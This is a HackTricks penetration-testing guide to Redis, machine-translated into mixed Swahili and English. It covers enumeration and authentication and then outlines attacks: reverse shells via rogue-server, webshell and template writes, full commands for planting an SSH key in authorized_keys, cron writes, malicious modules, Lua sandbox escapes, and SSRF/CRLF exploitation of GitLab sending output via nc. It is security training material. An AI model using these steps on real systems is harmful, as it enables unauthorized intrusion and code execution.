6379 - Pentesting Redis
Last updated
Last updated
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jiunge na HackenProof Discord server ili kuwasiliana na hackers wenye uzoefu na wawindaji wa bug bounty!
Hacking Insights Shiriki na maudhui yanayoangazia msisimko na changamoto za hacking
Real-Time Hack News Baki na habari za kisasa kuhusu ulimwengu wa hacking kupitia habari na maarifa ya wakati halisi
Latest Announcements Baki na taarifa kuhusu bug bounties mpya zinazozinduliwa na masasisho muhimu ya jukwaa
Jiunge nasi kwenye Discord na uanze kushirikiana na hackers bora leo!
Kutoka the docs: Redis ni chanzo wazi (licence ya BSD), katika-mkondo duka la muundo wa data, inayotumika kama database, cache na broker wa ujumbe).
Kwa kawaida Redis hutumia itifaki ya maandiko ya kawaida, lakini unapaswa kukumbuka kwamba inaweza pia kutekeleza ssl/tls. Jifunze jinsi ya kufanya kazi na Redis na ssl/tls hapa.
Port ya kawaida: 6379
Baadhi ya zana za kiotomatiki ambazo zinaweza kusaidia kupata taarifa kutoka kwa mfano wa redis:
Redis ni protokali ya msingi wa maandiko, unaweza tu kutuma amri kwenye socket na thamani zinazorejeshwa zitakuwa za kusomeka. Pia kumbuka kwamba Redis inaweza kukimbia kwa kutumia ssl/tls (lakini hii ni ya ajabu sana).
Katika mfano wa kawaida wa Redis unaweza tu kuungana kwa kutumia nc
au unaweza pia kutumia redis-cli
:
The first command you could try is info
. It may return output with information of the Redis instance or something like the following is returned:
In this last case, this means that unahitaji akreditivu halali to access the Redis instance.
Kwa default Redis can be accessed bila akreditivu. However, it can be configured to support tu password, au username + password.
It is possible to set a password in redis.conf file with the parameter requirepass
au ya muda until the service restarts connecting to it and running: config set requirepass p@ss$12E45
.
Also, a username can be configured in the parameter masteruser
inside the redis.conf file.
If only password is configured the username used is "default". Also, note that there is hakuna njia ya kupata nje if Redis was configured with only password or username+password.
In cases like this one you will need to find valid credentials to interact with Redis so you could try to brute-force it. Katika kesi umepata akreditivu halali unahitaji kuthibitisha kikao after establishing the connection with the command:
Sahihi akreditif zitajibiwa na: +OK
Ikiwa seva ya Redis inaruhusu muunganisho wa siri au ikiwa umepata akreditif sahihi, unaweza kuanzisha mchakato wa orodha kwa huduma hiyo ukitumia amri zifuatazo:
Amri nyingine za Redis zinaweza kupatikana hapa na hapa.
Kumbuka kwamba amri za Redis za mfano zinaweza kubadilishwa jina au kuondolewa katika faili redis.conf. Kwa mfano, mstari huu utaondoa amri FLUSHDB:
Zaidi kuhusu kuunda huduma ya Redis kwa usalama hapa: https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04
Unaweza pia kufuatilia kwa wakati halisi amri za Redis zinazotekelezwa kwa amri monitor
au kupata 25 za maswali ya polepole zaidi kwa slowlog get 25
Pata taarifa zaidi za kuvutia kuhusu amri zaidi za Redis hapa: https://lzone.de/cheat-sheet/Redis
Ndani ya Redis hifadhidata ni nambari kuanzia 0. Unaweza kuona kama yeyote inatumika katika matokeo ya amri info
ndani ya sehemu ya "Keyspace":
Au unaweza tu kupata keyspaces zote (hifadhidata) kwa:
Katika mfano huo, database 0 na 1 zinatumika. Database 0 ina funguo 4 na database 1 ina 1. Kwa default, Redis itatumia database 0. Ili kutekeleza mfano database 1 unahitaji kufanya:
Inapofanyika kupata kosa lifuatalo -WRONGTYPE Operation against a key holding the wrong kind of value
wakati wa kuendesha GET <KEY>
ni kwa sababu funguo inaweza kuwa kitu kingine zaidi ya string au integer na inahitaji opereta maalum kuionyesha.
Ili kujua aina ya funguo, tumia amri TYPE
, mfano hapa chini kwa funguo za orodha na hash.
Dump the database with npm redis-dump or python redis-utils
Jiunge na HackenProof Discord server ili kuwasiliana na hackers wenye uzoefu na hunters wa bug bounty!
Hacking Insights Shiriki na maudhui yanayochunguza msisimko na changamoto za hacking
Real-Time Hack News Endelea kuwa na habari za hivi punde katika ulimwengu wa hacking kupitia habari na maarifa ya wakati halisi
Latest Announcements Baki na habari kuhusu bug bounties mpya zinazozinduliwa na masasisho muhimu ya jukwaa
Join us on Discord na uanze kushirikiana na hackers bora leo!
redis-rogue-server inaweza kupata kiolesura cha maingiliano au shell ya kurudi kiotomatiki katika Redis(<=5.0.5).
Taarifa kutoka hapa. Lazima ujue njia ya folda ya Tovuti:
Ikiwa kuna hitilafu ya ufikiaji wa webshell, unaweza kufuta database baada ya kuhifadhi nakala na kujaribu tena, kumbuka kurejesha database.
Kama katika sehemu iliyopita unaweza pia kufuta faili fulani ya template ya html ambayo itatafsiriwa na injini ya template na kupata shell.
Kwa mfano, kufuatia hii andiko, unaweza kuona kwamba mshambuliaji alingiza rev shell katika html iliyotafsiriwa na nunjucks template engine:
Kumbuka kwamba mashine kadhaa za templeti huhifadhi templeti katika kumbukumbu, hivyo hata ukizifuta, mpya haitatekelezwa. Katika hali hizi, ama mendelevu aliacha upya wa kiotomatiki kuwa hai au unahitaji kufanya DoS juu ya huduma (na kutarajia kwamba itazinduliwa tena kiotomatiki).
Mfano kutoka hapa
Tafadhali fahamu kwamba config get dir
matokeo yanaweza kubadilishwa baada ya amri nyingine za kuchokoza kwa mikono. Pendekeza kuikimbia kwanza mara tu baada ya kuingia kwenye Redis. Katika matokeo ya config get dir
unaweza kupata nyumba ya mtumiaji redis (kawaida /var/lib/redis au /home/redis/.ssh), na ukijua hili unajua wapi unaweza kuandika faili la authenticated_users
ili kufikia kupitia ssh na mtumiaji redis. Ikiwa unajua nyumba ya mtumiaji mwingine halali ambapo una ruhusa za kuandika unaweza pia kuitumia vibaya:
Tengeneza jozi ya funguo za ssh za umma binafsi kwenye pc yako: ssh-keygen -t rsa
Andika funguo ya umma kwenye faili : (echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt
Ingiza faili kwenye redis : cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key
Hifadhi funguo ya umma kwenye faili la authorized_keys kwenye seva ya redis:
Hatimaye, unaweza ssh kwenye seva ya redis na funguo binafsi : ssh -i id_rsa redis@10.85.0.52
Teknolojia hii imejumuishwa hapa: https://github.com/Avinash-acid/Redis-Server-Exploit
The last example is for Ubuntu, for Centos, the above command should be: redis-cli -h 10.85.0.52 config set dir /var/spool/cron/
This method can also be used to earn bitcoin :yam
Kufuatia maelekezo kutoka https://github.com/n0b0dyCN/RedisModules-ExecuteCommand unaweza kusanifu moduli ya redis ili kutekeleza amri zisizo na mipaka.
Kisha unahitaji njia fulani ya kupakia moduli iliyokusanywa
Pakia moduli iliyopakiwa wakati wa utendaji na MODULE LOAD /path/to/mymodule.so
Orodhesha moduli zilizopakiwa ili kuangalia kama imepakiwa vizuri: MODULE LIST
Tekeleza amri:
Ondoa moduli wakati wowote unapotaka: MODULE UNLOAD mymodule
Hapa unaweza kuona kwamba Redis inatumia amri EVAL kutekeleza kodii ya Lua iliyowekwa kwenye sanduku. Katika chapisho lililounganishwa unaweza kuona jinsi ya kuitumia vibaya kwa kutumia kazi ya dofile, lakini kwa wazi hii si tena inawezekana. Hata hivyo, ikiwa unaweza kuepuka sanduku la Lua unaweza kutekeleza amri zisizo na mipaka kwenye mfumo. Pia, kutoka chapisho hilo hilo unaweza kuona baadhi ya chaguzi za kusababisha DoS.
Baadhi ya CVEs za kutoroka kutoka LUA:
Moduli ya master redis inafanya kazi zote kuunganishwa moja kwa moja na slave redis, ambayo inamaanisha kwamba tunaweza kuzingatia udhaifu wa redis kama slave redis, iliyounganishwa na master redis ambayo tunadhibiti, kisha tunaweza kuingiza amri kwenye redis yetu.
Ikiwa unaweza kutuma ombi la maandiko safi kwa Redis, unaweza kuwasiliana nayo kwani Redis itasoma mstari kwa mstari ombi hilo na itajibu tu kwa makosa kwa mistari ambayo haielewi:
Kwa hivyo, ikiwa unapata SSRF vuln kwenye tovuti na unaweza kontroli baadhi ya headers (labda kwa kutumia vuln ya CRLF) au POST parameters, utaweza kutuma amri zisizo na mipaka kwa Redis.
Katika Gitlab11.4.7 iligundulika SSRF udhaifu na CRLF. Udhaifu wa SSRF ulikuwa katika import project from URL functionality wakati wa kuunda mradi mpya na uliruhusu kufikia IP zisizo na mipaka katika mfumo [0:0:0:0:0:ffff:127.0.0.1] (hii itafikia 127.0.0.1), na CRLF vuln ilitumiwa kwa kuongezea tu wahusika %0D%0A kwenye URL.
Kwa hivyo, ilikuwa inawezekana kutumia udhaifu huu kuzungumza na Redis instance inayosimamia queues kutoka gitlab na kutumia hizo queues ili kupata utekelezaji wa msimbo. Payload ya matumizi ya Redis queue ni:
Na ombi la URL encode linalotumia SSRF na CRLF kutekeleza whoami
na kutuma matokeo kupitia nc
ni:
Kwa sababu fulani (kama kwa mwandishi wa https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/ ambapo taarifa hii ilichukuliwa) matumizi ya udhaifu yalifanya kazi na mpango wa git
na si mpango wa http
.
Jiunge na HackenProof Discord server ili kuwasiliana na hackers wenye uzoefu na wawindaji wa makosa!
Uelewa wa Udukuzi Shiriki na maudhui yanayoingia katika msisimko na changamoto za udukuzi
Habari za Udukuzi kwa Wakati Halisi Endelea kuwa na habari za kisasa katika ulimwengu wa udukuzi kupitia habari na uelewa wa wakati halisi
Matangazo ya Hivi Punde Baki na habari kuhusu makosa mapya yanayoanzishwa na masasisho muhimu ya jukwaa
Jiunge nasi kwenye Discord na anza kushirikiana na hackers bora leo!
Jifunze na fanya mazoezi ya Udukuzi wa AWS:HackTricks Training AWS Red Team Expert (ARTE) Jifunze na fanya mazoezi ya Udukuzi wa GCP: HackTricks Training GCP Red Team Expert (GRTE)